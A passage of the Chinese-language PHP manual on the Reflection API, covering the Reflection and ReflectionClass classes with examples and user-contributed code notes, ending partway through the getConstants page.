  • ReflectionAttribute — ReflectionAttribute 类
    • ReflectionAttribute::__construct — 禁止直接实例化的私有构造函数
    • ReflectionAttribute::getArguments — 获取传递给属性的参数
    • ReflectionAttribute::getName — 获取属性名称
    • ReflectionAttribute::getTarget — 返回属性的目标位掩码
    • ReflectionAttribute::isRepeated — 返回该名称的属性是否已重复出现在代码元素上
    • ReflectionAttribute::newInstance — 实例化由 ReflectionAttribute 类和参数表示的属性类
  • Reflector — Reflector 接口
    • Reflector::export — Exports
  • ReflectionException — ReflectionException 类

User Contributed Notes

There are no user contributed notes for this page.


简介

PHP 具有完整的反射 API，增加了内省类、接口、函数、方法和扩展的能力。 此外，反射 API 提供了方法来取出函数、类和方法中的文档注释。

请注意部分内部 API 丢失了反射扩展工作所需的代码。 例如，一个内置的 PHP 类可能丢失了反射属性的数据。这些少数的情况被认为是错误，不过， 正因为如此，它们应该被发现和修复。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

每个类描述了它自己的常量。

User Contributed Notes

There are no user contributed notes for this page.


示例

在反射文档中存在很多示例，通常位于每个类的 __construct 文档中。

Example #1 Shell （终端）里的反射示例

$ php --rf strlen
$ php --rc finfo
$ php --re json
$ php --ri dom

以上示例的输出类似于：

Function [ <internal:Core> function strlen ] {

  - Parameters [1] {
    Parameter #0 [ <required> $str ]
  }
}

Class [ <internal:fileinfo> class finfo ] {

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [0] {
  }

  - Methods [4] {
    Method [ <internal:fileinfo, ctor> public method finfo ] {

      - Parameters [2] {
        Parameter #0 [ <optional> $options ]
        Parameter #1 [ <optional> $arg ]
      }
    }

    Method [ <internal:fileinfo> public method set_flags ] {

      - Parameters [1] {
        Parameter #0 [ <required> $options ]
      }
    }

    Method [ <internal:fileinfo> public method file ] {

      - Parameters [3] {
        Parameter #0 [ <required> $filename ]
        Parameter #1 [ <optional> $options ]
        Parameter #2 [ <optional> $context ]
      }
    }

    Method [ <internal:fileinfo> public method buffer ] {

      - Parameters [3] {
        Parameter #0 [ <required> $string ]
        Parameter #1 [ <optional> $options ]
        Parameter #2 [ <optional> $context ]
      }
    }
  }
}

Extension [ <persistent> extension #23 json version 1.2.1 ] {

  - Constants [10] {
    Constant [ integer JSON_HEX_TAG ] { 1 }
    Constant [ integer JSON_HEX_AMP ] { 2 }
    Constant [ integer JSON_HEX_APOS ] { 4 }
    Constant [ integer JSON_HEX_QUOT ] { 8 }
    Constant [ integer JSON_FORCE_OBJECT ] { 16 }
    Constant [ integer JSON_ERROR_NONE ] { 0 }
    Constant [ integer JSON_ERROR_DEPTH ] { 1 }
    Constant [ integer JSON_ERROR_STATE_MISMATCH ] { 2 }
    Constant [ integer JSON_ERROR_CTRL_CHAR ] { 3 }
    Constant [ integer JSON_ERROR_SYNTAX ] { 4 }
  }

  - Functions {
    Function [ <internal:json> function json_encode ] {

      - Parameters [2] {
        Parameter #0 [ <required> $value ]
        Parameter #1 [ <optional> $options ]
      }
    }
    Function [ <internal:json> function json_decode ] {

      - Parameters [3] {
        Parameter #0 [ <required> $json ]
        Parameter #1 [ <optional> $assoc ]
        Parameter #2 [ <optional> $depth ]
      }
    }
    Function [ <internal:json> function json_last_error ] {

      - Parameters [0] {
      }
    }
  }
}

dom

DOM/XML => enabled
DOM/XML API Version => 20031129
libxml Version => 2.7.3
HTML Support => enabled
XPath Support => enabled
XPointer Support => enabled
Schema Support => enabled
RelaxNG Support => enabled

User Contributed Notes

paulo dot castro48 at gmail dot com 19-Feb-2017 02:18
Note: This is useful when you're manually parsing php by file before to get work done, wich is impossible to do without getting files externally.
Now you can parse without getting the file contents by using refection objects.
spectrum at bigmir dot net 28-Dec-2010 02:11
Simple table generation using Reflection:

<?php

class A
{
    public    $name = 'Vasiliy';
    public    $text = 'Once upon a time';
}

class B
{
    public    $name = 'Had bought a cat';
    public    $text = 'named Valentine';
}

class grid
{
    public function build(  $dataSource, $headers, $fields  )
    {
        $result = '<table border="1">';
        $result .= $this -> make_head( $headers );

        foreach ($dataSource as $source):
            $class_name = get_class($source);
            if ( $class_name != FALSE ):
                $reflector = new ReflectionClass($source);
                echo 'Class "'. $class_name .'" found.<br />';
                $result .= $this -> make_row( $reflector, $fields, $source );
            endif;
        endforeach;

        $result .= '</table>';
        return $result;
    }

    private function make_head( $headers )
    {
        $result = '<tr>';
        foreach ( $headers as $header):
            $result .= "<th>$header</th>";
        endforeach;
        $result .= '</tr>';
        return $result;
    }

    private function make_row( $reflector, $fields, $source )
    {
        $result = '<tr>';
        foreach ( $fields as $field ):
            if ( $reflector -> hasProperty($field) ):
                $property = $reflector -> getProperty($field);
                $result .= '<td>'. $property -> getValue($source) .'</td>';
            endif;
        endforeach;
        $result .= '</tr>';
        return $result;
    }
}

$A = new A;
$B = new B;
$C = 'Test';

$dataSource = array( $A, $B, $C );
$headers = array( 'H1', 'H2' );
$fields = array( 'name', 'text' );

$grid = new grid;
$table = $grid -> build( $dataSource, $headers, $fields );
echo $table;

?>
Kovin 18-May-2009 02:00
If you want to use method closures and don't have PHP 5.3, perhaps you find useful the following function
<?php
    function get_method_closure($object,$method_name){
        if(method_exists(get_class($object),$method_name)){
            $func            = create_function( '',
                            '
                                $args            = func_get_args();
                                static $object    = NULL;

                                /*
                                * Check if this function is being called to set the static $object, which
                                * containts scope information to invoke the method
                                */
                                if(is_null($object) && count($args) && get_class($args[0])=="'.get_class($object).'"){
                                    $object = $args[0];
                                    return;
                                }

                                if(!is_null($object)){
                                    return call_user_func_array(array($object,"'.$method_name.'"),$args);
                                }else{
                                    return FALSE;
                                }'
                            );

            //Initialize static $object
            $func($object);

            //Return closure
            return $func;
        }else{
            return false;
        }
    }
?>
Here is how you would use it:
<?php
class foo{
    public function bar($foo){
        return strtolower($foo);
    }
}

$foo = new foo();
$f = get_method_closure($foo,'bar');
echo $f("BAR");//Prints 'bar'
?>


扩展

如果你想创建内建类的专门版本（比如说，在创建并导出高亮 HTML 时，以易于访问的成员变量来取代方法或使用实用的方法）， 你可以继续并扩展它们。

Example #1 扩展内置的类

<?php
/**
* My Reflection_Method class
*/
class My_Reflection_Method extends ReflectionMethod
{
public $visibility = array();

public function __construct($o, $m)
{
parent::__construct($o, $m);
$this->visibility = Reflection::getModifierNames($this->getModifiers());
}
}

/**
* Demo class #1
*
*/
class T {
protected function x() {}
}

/**
* Demo class #2
*
*/
class U extends T {
function x() {}
}

// 输出信息
var_dump(new My_Reflection_Method('U', 'x'));
?>

以上示例的输出类似于：

object(My_Reflection_Method)#1 (3) {
  ["visibility"]=>
  array(1) {
    [0]=>
    string(6) "public"
  }
  ["name"]=>
  string(1) "x"
  ["class"]=>
  string(1) "U"
}
Caution

如果你重写了构造函数，记住在写任何插入的代码之前要先调用父类的构造函数。 不这么做将会导致以下的结果： Fatal error: Internal error: Failed to retrieve the reflection object

User Contributed Notes

khelaz at gmail dot com 28-Apr-2011 11:12
Extending class ReflectionFunction to get source code of function

<?php
class Custom_Reflection_Function extends ReflectionFunction {

    public function getSource() {
        if( !file_exists( $this->getFileName() ) ) return false;

        $start_offset = ( $this->getStartLine() - 1 );
        $end_offset   = ( $this->getEndLine() - $this->getStartLine() ) + 1;

        return join( '', array_slice( file( $this->getFileName() ), $start_offset, $end_offset ) );
    }
}
?>


Reflection 类

(PHP 5, PHP 7, PHP 8)

简介

反射类。

类摘要

class Reflection {
/* 方法 */
public static export(Reflector $reflector, bool $return = false): string
public static getModifierNames(int $modifiers): array
}

Table of Contents

  • Reflection::export — 导出
  • Reflection::getModifierNames — 获取修饰符的名称

User Contributed Notes

apmithani at yahoo dot com 26-Aug-2010 09:05
Here is a code snippet for some of us who are just beginning with reflection. I have a simple class below with two properties and two methods. We will use reflection classes to populate the properties dynamically and then print them:

<?php

class A
{
    public $one = '';
    public $two = '';

    //Constructor
    public function __construct()
    {
        //Constructor
    }

    //print variable one
    public function echoOne()
    {
        echo $this->one."\n";
    }

    //print variable two
    public function echoTwo()
    {
        echo $this->two."\n";
    }
}

//Instantiate the object
$a = new A();

//Instantiate the reflection object
$reflector = new ReflectionClass('A');

//Now get all the properties from class A in to $properties array
$properties = $reflector->getProperties();

$i =1;
//Now go through the $properties array and populate each property
foreach($properties as $property)
{
    //Populating properties
    $a->{$property->getName()}=$i;
    //Invoking the method to print what was populated
    $a->{"echo".ucfirst($property->getName())}()."\n";

    $i++;
}

?>


导出

  • ? Reflection
  • Reflection::getModifierNames ?
  • PHP Manual
  • Reflection
  • 导出

Reflection::export

(PHP 5, PHP 7)

Reflection::export — 导出

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

public static Reflection::export(Reflector $reflector, bool $return = false): string

导出反射（reflection）。

Warning

本函数还未编写文档，仅有参数列表。

参数

reflector

导出的反射。

return

设为 true 时返回导出结果，设为 false（默认值）则忽略返回。

返回值

如果参数 return 设为 true，导出结果将作为 string 返回，否则返回 null。

参见

  • Reflection::getModifierNames() - 获取修饰符的名称

User Contributed Notes

There are no user contributed notes for this page.


获取修饰符的名称

  • ? Reflection::export
  • ReflectionClass ?
  • PHP Manual
  • Reflection
  • 获取修饰符的名称

Reflection::getModifierNames

(PHP 5, PHP 7, PHP 8)

Reflection::getModifierNames — 获取修饰符的名称

说明

public static Reflection::getModifierNames(int $modifiers): array

获取修饰符的名称。

参数

modifiers

根据标志位域获取修饰符。

返回值

修饰符名称的一个数组。

示例

Example #1 Reflection::getModifierNames() 示例

<?php
class Testing
{
final public static function foo()
{
return;
}

public function bar()
{
return;
}
}

$foo = new ReflectionMethod('Testing', 'foo');

echo "Modifiers for method foo():\n";
echo $foo->getModifiers() . "\n";
echo implode(' ', Reflection::getModifierNames($foo->getModifiers())) . "\n";

$bar = new ReflectionMethod('Testing', 'bar');

echo "Modifiers for method bar():\n";
echo $bar->getModifiers() . "\n";
echo implode(' ', Reflection::getModifierNames($bar->getModifiers()));

以上示例的输出类似于：

Modifiers for method foo():
261
final public static
Modifiers for method bar():
65792
public

参见

  • ReflectionClass::getModifiers() - 获取类的修饰符
  • ReflectionClassConstant::getModifiers() - Gets the class constant modifiers
  • ReflectionMethod::getModifiers() - 获取方法的修饰符
  • ReflectionProperty::getModifiers() - Gets the property modifiers

User Contributed Notes

There are no user contributed notes for this page.


ReflectionClass 类

(PHP 5, PHP 7, PHP 8)

简介

ReflectionClass 类报告了一个类的有关信息。

类摘要

class ReflectionClass implements Reflector {
/* 常量 */
public const int IS_IMPLICIT_ABSTRACT;
public const int IS_EXPLICIT_ABSTRACT;
public const int IS_FINAL;
public const int IS_READONLY;
/* 属性 */
public string $name;
/* 方法 */
public __construct(object|string $objectOrClass)
public static export(mixed $argument, bool $return = false): string
public getAttributes(?string $name = null, int $flags = 0): array
public getConstant(string $name): mixed
public getConstants(?int $filter = null): array
public getConstructor(): ?ReflectionMethod
public getDefaultProperties(): array
public getDocComment(): string|false
public getEndLine(): int|false
public getExtension(): ?ReflectionExtension
public getExtensionName(): string|false
public getFileName(): string|false
public getInterfaceNames(): array
public getInterfaces(): array
public getMethod(string $name): ReflectionMethod
public getMethods(?int $filter = null): array
public getModifiers(): int
public getName(): string
public getNamespaceName(): string
public getParentClass(): ReflectionClass|false
public getProperties(?int $filter = null): array
public getProperty(string $name): ReflectionProperty
public getReflectionConstant(string $name): ReflectionClassConstant|false
public getReflectionConstants(?int $filter = null): array
public getShortName(): string
public getStartLine(): int|false
public getStaticProperties(): array
public getStaticPropertyValue(string $name, mixed &$def_value = ?): mixed
public getTraitAliases(): array
public getTraitNames(): array
public getTraits(): array
public hasConstant(string $name): bool
public hasMethod(string $name): bool
public hasProperty(string $name): bool
public implementsInterface(ReflectionClass|string $interface): bool
public inNamespace(): bool
public isAbstract(): bool
public isAnonymous(): bool
public isCloneable(): bool
public isEnum(): bool
public isFinal(): bool
public isInstance(object $object): bool
public isInstantiable(): bool
public isInterface(): bool
public isInternal(): bool
public isIterable(): bool
public isReadOnly(): bool
public isSubclassOf(ReflectionClass|string $class): bool
public isTrait(): bool
public isUserDefined(): bool
public newInstance(mixed ...$args): object
public newInstanceArgs(array $args = []): ?object
public newInstanceWithoutConstructor(): object
public setStaticPropertyValue(string $name, mixed $value): void
public __toString(): string
}

属性

name

类名。只读，尝试赋值时抛出 ReflectionException。

预定义常量

ReflectionClass 修饰符

ReflectionClass::IS_IMPLICIT_ABSTRACT

表示该类是 abstract，因为有一些抽象方法。

ReflectionClass::IS_EXPLICIT_ABSTRACT

表示该类是 abstract，因为已明确定义。

ReflectionClass::IS_FINAL

表示该类是 final。

ReflectionClass::IS_READONLY

表示该类是 readonly。

更新日志

版本 | 说明
8.0.0 | 移除 ReflectionClass::export()。

Table of Contents

  • ReflectionClass::__construct — 初始化 ReflectionClass 类
  • ReflectionClass::export — 导出类
  • ReflectionClass::getAttributes — 获取所有属性
  • ReflectionClass::getConstant — 获取已定义的常量
  • ReflectionClass::getConstants — 获取常量
  • ReflectionClass::getConstructor — 获取类的构造函数
  • ReflectionClass::getDefaultProperties — 获取默认属性
  • ReflectionClass::getDocComment — 获取文档注释
  • ReflectionClass::getEndLine — 获取最后一行的行数
  • ReflectionClass::getExtension — 根据已定义的类获取所在扩展的 ReflectionExtension 对象
  • ReflectionClass::getExtensionName — 获取定义的类所在的扩展的名称
  • ReflectionClass::getFileName — 获取定义类的文件名
  • ReflectionClass::getInterfaceNames — 获取接口（interface）名称
  • ReflectionClass::getInterfaces — 获取接口
  • ReflectionClass::getMethod — 获取类方法的 ReflectionMethod
  • ReflectionClass::getMethods — 获取方法的数组
  • ReflectionClass::getModifiers — 获取类的修饰符
  • ReflectionClass::getName — 获取类名
  • ReflectionClass::getNamespaceName — 获取命名空间的名称
  • ReflectionClass::getParentClass — 获取父类
  • ReflectionClass::getProperties — 获取属性
  • ReflectionClass::getProperty — 获取类的一个属性的 ReflectionProperty
  • ReflectionClass::getReflectionConstant — Gets a ReflectionClassConstant for a class's constant
  • ReflectionClass::getReflectionConstants — Gets class constants
  • ReflectionClass::getShortName — 获取短名
  • ReflectionClass::getStartLine — 获取起始行号
  • ReflectionClass::getStaticProperties — 获取静态（static）属性
  • ReflectionClass::getStaticPropertyValue — 获取静态（static）属性的值
  • ReflectionClass::getTraitAliases — 返回 trait 别名数组
  • ReflectionClass::getTraitNames — 返回这个类所使用 traits 的名称的数组
  • ReflectionClass::getTraits — 返回这个类所使用的 traits 数组
  • ReflectionClass::hasConstant — 检查常量是否已经定义
  • ReflectionClass::hasMethod — 检查方法是否已定义
  • ReflectionClass::hasProperty — 检查属性是否已定义
  • ReflectionClass::implementsInterface — 实现接口
  • ReflectionClass::inNamespace — 检查是否位于命名空间中
  • ReflectionClass::isAbstract — 检查类是否是抽象类（abstract）
  • ReflectionClass::isAnonymous — 检查类是否是匿名类
  • ReflectionClass::isCloneable — 返回了一个类是否可复制
  • ReflectionClass::isEnum — Returns whether this is an enum
  • ReflectionClass::isFinal — 检查类是否声明为 final
  • ReflectionClass::isInstance — 检查类的实例
  • ReflectionClass::isInstantiable — 检查类是否可实例化
  • ReflectionClass::isInterface — 检查类是否是一个接口（interface）
  • ReflectionClass::isInternal — 检查类是否由扩展或核心在内部定义
  • ReflectionClass::isIterable — Check whether this class is iterable
  • ReflectionClass::isIterateable — 别名 ReflectionClass::isIterable
  • ReflectionClass::isReadOnly — Checks if class is readonly
  • ReflectionClass::isSubclassOf — 检查是否为子类
  • ReflectionClass::isTrait — 返回了是否是 trait
  • ReflectionClass::isUserDefined — 检查是否由用户定义的
  • ReflectionClass::newInstance — 从指定的参数创建新类实例
  • ReflectionClass::newInstanceArgs — 从给出的参数创建一个新的类实例
  • ReflectionClass::newInstanceWithoutConstructor — 创建新的类实例而不调用它的构造函数
  • ReflectionClass::setStaticPropertyValue — 设置静态属性的值
  • ReflectionClass::__toString — 返回 ReflectionClass 对象字符串的表示形式

User Contributed Notes

featherbits 27-Jan-2021 04:10
In order to get class attributes look here (php8)
https://www.php.net/manual/en/language.attributes.reflection.php
YoungOfCthulhu 21-Sep-2015 02:20
It is also possible to do reflection from within the class and get the methods for instance.

<?php

class test
{
    private $test = "";

    public function setTest($test)
    {
        $this->test = $test;
        return $this;
    }

    public function getTest()
    {
        return $this->test;
    }

    public function run(){
        $class = new ReflectionClass('test');
        $methods = $class->getMethods();
        var_dump($methods);
    }
}

Called from another php file you get the proper result:
array(3) {
  [0]=>
  &object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(8) "setTest"
    ["class"]=>
    string(4) "test"
  }
  [1]=>
  &object(ReflectionMethod)#4 (2) {
    ["name"]=>
    string(8) "getTest"
    ["class"]=>
    string(4) "test"
  }
  [2]=>
  &object(ReflectionMethod)#5 (2) {
    ["name"]=>
    string(3) "run"
    ["class"]=>
    string(4) "test"
  }
}
Anonymous 17-May-2013 06:45
Reflecting an alias will give you a reflection of the resolved class.

<?php

class X {

}

class_alias('X','Y');
class_alias('Y','Z');
$z = new ReflectionClass('Z');
echo $z->getName(); // X

?>
Anonymous 11-Nov-2011 09:58
Unserialized reflection class cause error.

<?php
/**
 * abc
 */
class a{}

$ref = new ReflectionClass('a');
$ref = unserialize(serialize($ref));
var_dump($ref);
var_dump($ref->getDocComment());

// object(ReflectionClass)#2 (1) {
//   ["name"]=>
//   string(1) "a"
// }
// PHP Fatal error:  ReflectionClass::getDocComment(): Internal error: Failed to retrieve the reflection object
?>
danbettles at yahoo dot co dot uk 29-Mar-2009 02:48
To reflect on a namespaced class in PHP 5.3, you must always specify the fully qualified name of the class - even if you've aliased the containing namespace using a "use" statement.

So instead of:

<?php
use App\Core as Core;
$oReflectionClass = new ReflectionClass('Core\Singleton');
?>

You would type:

<?php
use App\Core as Core;
$oReflectionClass = new ReflectionClass('App\Core\Singleton');
?>


初始化 ReflectionClass 类

  • ? ReflectionClass
  • ReflectionClass::export ?
  • PHP Manual
  • ReflectionClass
  • 初始化 ReflectionClass 类

ReflectionClass::__construct

(PHP 5, PHP 7, PHP 8)

ReflectionClass::__construct — 初始化 ReflectionClass 类

说明

public ReflectionClass::__construct(object|string $objectOrClass)

初始化新的 ReflectionClass 对象。

参数

objectOrClass

既可以是包含类名的字符串（string）也可以是对象（object）。

错误／异常

如果要反射的 Class 不存在，抛出异常 ReflectionException。

示例

Example #1 ReflectionClass 的基本用法

<?php
$reflection = new ReflectionClass('Exception');
echo $reflection;
?>

以上示例的输出类似于：

Class [ <internal:Core> class Exception implements Stringable, Throwable ] {

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [7] {
    Property [ protected $message = '' ]
    Property [ private string $string = '' ]
    Property [ protected $code = 0 ]
    Property [ protected string $file = '' ]
    Property [ protected int $line = 0 ]
    Property [ private array $trace = [] ]
    Property [ private ?Throwable $previous = NULL ]
  }

  - Methods [11] {
    Method [ <internal:Core> private method __clone ] {

      - Parameters [0] {
      }
      - Return [ void ]
    }

    Method [ <internal:Core, ctor> public method __construct ] {

      - Parameters [3] {
        Parameter #0 [ <optional> string $message = "" ]
        Parameter #1 [ <optional> int $code = 0 ]
        Parameter #2 [ <optional> ?Throwable $previous = null ]
      }
    }

    Method [ <internal:Core> public method __wakeup ] {

      - Parameters [0] {
      }
      - Tentative return [ void ]
    }

    Method [ <internal:Core, prototype Throwable> final public method getMessage ] {

      - Parameters [0] {
      }
      - Return [ string ]
    }

    Method [ <internal:Core, prototype Throwable> final public method getCode ] {

      - Parameters [0] {
      }
    }

    Method [ <internal:Core, prototype Throwable> final public method getFile ] {

      - Parameters [0] {
      }
      - Return [ string ]
    }

    Method [ <internal:Core, prototype Throwable> final public method getLine ] {

      - Parameters [0] {
      }
      - Return [ int ]
    }

    Method [ <internal:Core, prototype Throwable> final public method getTrace ] {

      - Parameters [0] {
      }
      - Return [ array ]
    }

    Method [ <internal:Core, prototype Throwable> final public method getPrevious ] {

      - Parameters [0] {
      }
      - Return [ ?Throwable ]
    }

    Method [ <internal:Core, prototype Throwable> final public method getTraceAsString ] {

      - Parameters [0] {
      }
      - Return [ string ]
    }

    Method [ <internal:Core, prototype Stringable> public method __toString ] {

      - Parameters [0] {
      }
      - Return [ string ]
    }
  }
}

参见

  • ReflectionObject::__construct() - Constructs a ReflectionObject
  • 构造函数

User Contributed Notes

danbettles at yahoo dot co dot uk 22-May-2015 06:47
To reflect on a namespaced class in PHP 5.3, you must always specify the fully qualified name of the class - even if you've aliased the containing namespace using a "use" statement.

So instead of:

<?php
use App\Core as Core;
$oReflectionClass = new ReflectionClass('Core\Singleton');
?>

You would type:

<?php
use App\Core as Core;
$oReflectionClass = new ReflectionClass('App\Core\Singleton');
?>
nulled 18-Dec-2013 03:42
if (is_file($classfile))
            require_once $classfile;

if (! class_exists($classname, false))
            exit('ERROR: ' . $classname . ' is not defined as a Class');

The above code is useful to tell if the class was defined.  You could also use another commentors method using Try Catch Exceptions.  But, if you do not use try blocks much, the above function based method works just fine.

From there, you can than call:

$class = new ReflectionClass($classname);

        if (! $class->isSubclassOf('PanelCommon'))
            exit("ERROR: {$classname} must extends PanelCommon");

        if (! $class->isUserDefined())
            exit("ERROR: {$classname} must be user defined and not internal to PHP");

        if (! $class->IsInstantiable())
            exit("ERROR: {$classname} must be IsInstantiable and not an Interface or Abstract class");

        if (! $class->hasMethod('home'))
            exit("ERROR: {$classname} lacks required method/function home()");

Forforth and so on.
me [at] klay [dot] me 28-Oct-2013 11:09
Example of usage:

    public static function getClassData($class)
    {
        // Trying to create a new object of ReflectionClass class
        $class = new ReflectionClass($class);

        $details = sprintf('%s - %s%s%s%s%s%s%s%s',
            $class->getName(),
            $class->isInternal()     ? 'internal class,' : 'user-defined class,',
            $class->isTrait()        ? '  is trait,'  : '',
            $class->isInterface()    ? '  is interface,'  : '',
            $class->isAbstract()     ? '  is abstract,'  : '',
            $class->isFinal()        ? '  is final,'  : '',
            $class->isCloneable()    ? '  is cloneable,'  : '',
            $class->isInstantiable() ? ' is instantiable,'  : '',
            $class->isIterateable()  ? ' is iterable  : ''
        );

        return '<pre class="debug">' . rtrim($details, ',') . '</pre>';
    }
gafisher at griasolutions dot com 30-Jan-2012 01:23
Running the following code on Windows Vista (I know, I know), PHP 5.3.9, the ReflectionClass constructor actually throws a ReflectionException when the desired class cannot be instantiated:

<?php
    try {
        $ReflectedClass = new ReflectionClass('NonExist');
    } catch (LogicException $Exception) {
        die('Not gonna make it in here...');
    } catch (ReflectionException $Exception) {
        die('Your class does not exist!');
    }
?>
cspray at gmail dot com 12-Jun-2011 07:14
Useful to know that if you pass a string into the construct and the class cannot be instantiated for some reason a SPL LogicException will be thrown.

This code was ran on a Mac OS X 10.6.7, AMP, PHP 5.3+

<?php

    //  index.php
    try {
        $ReflectedClass = new ReflectionClass('NonExist');
    } catch (LogicException $logicDuh) {
        print_r($logicDuh);
    }

?>

Will return a deeply nested array full of useful information about the error.
ivo at jansch dot nl 24-Jan-2010 04:16
It's very useful to know that you can also use the ReflectionClass to inspect interfaces, even thouth Interfaces are not classes. Example:

<?php

  interface Edible
  {
    public function eat();
  }

  $refl = new ReflectionClass("Edible");
  $methods = $refl->getMethods();
?>

[Edit by danbrown AT php DOT net - Contains a bugfix by (dbl AT bnet DOT com) on 18-AUG-2010 with the following message: "underline had to be removed for it to work ( new Reflection_Class -> new ReflectionClass )"]


导出类

  • ? ReflectionClass::__construct
  • ReflectionClass::getAttributes ?
  • PHP Manual
  • ReflectionClass
  • 导出类

ReflectionClass::export

(PHP 5, PHP 7)

ReflectionClass::export — 导出类

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

public static ReflectionClass::export(mixed $argument, bool $return = false): string

导出反射后的类。

参数

argument

导出的反射。

return

设为 true 时返回导出结果，设为 false（默认值）则忽略返回。

返回值

如果参数 return 设为 true，导出结果将作为 string 返回，否则返回 null。

示例

Example #1 ReflectionClass::export() 的基本用法

<?php
class Apple {
public $var1;
public $var2 = 'Orange';

public function type() {
return 'Apple';
}
}
ReflectionClass::export('Apple');
?>

以上示例的输出类似于：

Class [ <user> class Apple ] {
  @@ php shell code 1-8

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [2] {
    Property [ <default> public $var1 ]
    Property [ <default> public $var2 ]
  }

  - Methods [1] {
    Method [ <user> public method type ] {
      @@ php shell code 5 - 7
    }
  }
}

参见

  • ReflectionClass::getName() - 获取类名
  • ReflectionClass::__toString() - 返回 ReflectionClass 对象字符串的表示形式

User Contributed Notes

There are no user contributed notes for this page.


获取所有属性

  • ? ReflectionClass::export
  • ReflectionClass::getConstant ?
  • PHP Manual
  • ReflectionClass
  • 获取所有属性

ReflectionClass::getAttributes

(PHP 8)

ReflectionClass::getAttributes — 获取所有属性

说明

public ReflectionClass::getAttributes(?string $name = null, int $flags = 0): array

返回类中声明的所有属性，类型是由 ReflectionAttribute 组成的 array。

参数

name

过滤结果，匹配此类名，仅包含 ReflectionAttribute 实例的属性。

flags

如果提供了 name，则用于确定如何过滤结果的 flag。

默认值为 0，这将导致返回的结果只属于类 name 的属性。

唯一可用的其他选项是使用 ReflectionAttribute::IS_INSTANCEOF，它将改为使用 instanceof 进行过滤。

返回值

由 ReflectionAttribute 对象组成的属性数组。

示例

Example #1 基础用法

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

#[Fruit]
#[Red]
class Apple {
}

$class = new ReflectionClass('Apple');
$attributes = $class->getAttributes();
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Fruit
    [1] => Red
)

Example #2 通过类名过滤结果

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

#[Fruit]
#[Red]
class Apple {
}

$class = new ReflectionClass('Apple');
$attributes = $class->getAttributes('Fruit');
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Fruit
)

Example #3 通过类名和继承过滤结果

<?php
interface Color {
}

#[Attribute]
class Fruit {
}

#[Attribute]
class Red implements Color {
}

#[Fruit]
#[Red]
class Apple {
}

$class = new ReflectionClass('Apple');
$attributes = $class->getAttributes(Color::class, ReflectionAttribute::IS_INSTANCEOF);
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Red
)

参见

  • ReflectionClassConstant::getAttributes() - Gets Attributes
  • ReflectionFunctionAbstract::getAttributes() - Gets Attributes
  • ReflectionParameter::getAttributes() - Gets Attributes
  • ReflectionProperty::getAttributes() - Gets Attributes

User Contributed Notes

sandrenyl at gmail dot com 03-Dec-2021 06:27
When using the method getAttributes() to fetch attributes based on a parent class, the proper flag constant is ReflectionAttribute::IS_INSTANCEOF (which equals 2 as mentionned by sergiolibe).

<?php
$reflectionClass->getAttributes(SomeParentAttribute::class, ReflectionAttribute::IS_INSTANCEOF);
?>
sergiolibe at gmail dot com 06-Jul-2021 03:11
When using getAttributes() with specific attribute class and flags, flag 0 will return just matching attributes with specified class, and 2 will return matching attributes with specified class and children of that class:
<?php
    #[Attribute(\Attribute::TARGET_CLASS)]
    class SomeAttribute {}

    #[Attribute(\Attribute::TARGET_CLASS)]
    class ChildAttribute extends SomeAttribute {}

    #[SomeAttribute]
    #[SomeChildAttribute]
    class SomeClass {}

    $rc = new ReflectionClass(SomeClass::class);

    $r_atts = $rc->getAttributes(SomeAttribute::class, 0); // 0 is default, just given class
    echo json_encode(array_map(fn(ReflectionAttribute $r_att) => $r_att->getName(), $r_atts)), PHP_EOL;

    $r_atts = $rc->getAttributes(SomeAttribute::class, 2); // given class and children classes
    echo json_encode(array_map(fn(ReflectionAttribute $r_att) => $r_att->getName(), $r_atts)), PHP_EOL;
?>

output:
["SomeAttribute"]
["SomeAttribute","ChildAttribute"]


获取已定义的常量

  • ? ReflectionClass::getAttributes
  • ReflectionClass::getConstants ?
  • PHP Manual
  • ReflectionClass
  • 获取已定义的常量

ReflectionClass::getConstant

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getConstant — 获取已定义的常量

说明

public ReflectionClass::getConstant(string $name): mixed

获取已定义的常量。

参数

name

要获取的类常量的名称。

返回值

常量名称为 name 的值。 如果在类中没有找到该常量，则返回 false 。

示例

Example #1 使用 ReflectionClass::getConstant()

<?php

class Example {
const C1 = false;
const C2 = 'I am a constant';
}

$reflection = new ReflectionClass('Example');

var_dump($reflection->getConstant('C1'));
var_dump($reflection->getConstant('C2'));
var_dump($reflection->getConstant('C3'));
?>

以上示例会输出：

bool(false)
string(15) "I am a constant"
bool(false)

参见

  • ReflectionClass::getConstants() - 获取常量

User Contributed Notes

aurelien dot tisserand at wavesoftware dot ch 08-Nov-2013 03:27
If the $name constant doesn't exist in the targetted class the function returns bool(false), not empty nor null but false (you to test with "==="

$constFounded = false ;
$this->currentlangClass = new ReflectionClass($langFile);
$this->currentlangClass->getConstant($constant);
if($myConst !== false){
              $constFounded = true ;
}
Bhimsen 31-May-2012 05:46
The "getconstant" method can be used to get the value associated with a constant
of a particular class that you are examining.
The following code snippet shows this:

<?php
    class Test{
        const ONE = "Number one";
        const TWO = "Number two";
    }

    $obj = new ReflectionClass( "Test" );
    echo $obj->getconstant( "ONE" )."\n";
    echo $obj->getconstant( "TWO" )."\n";

?>

output:
Number one
Number two


获取常量

  • ? ReflectionClass::getConstant
  • ReflectionClass::getConstructor ?
  • PHP Manual
  • ReflectionClass
  • 获取常量

ReflectionClass::getConstants

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getConstants — 获取常量

说明

public ReflectionClass::getConstants(?int $filter = null): array

从类中获取所有已定义的常量，而不管它们的可见性如何。

参数

filter

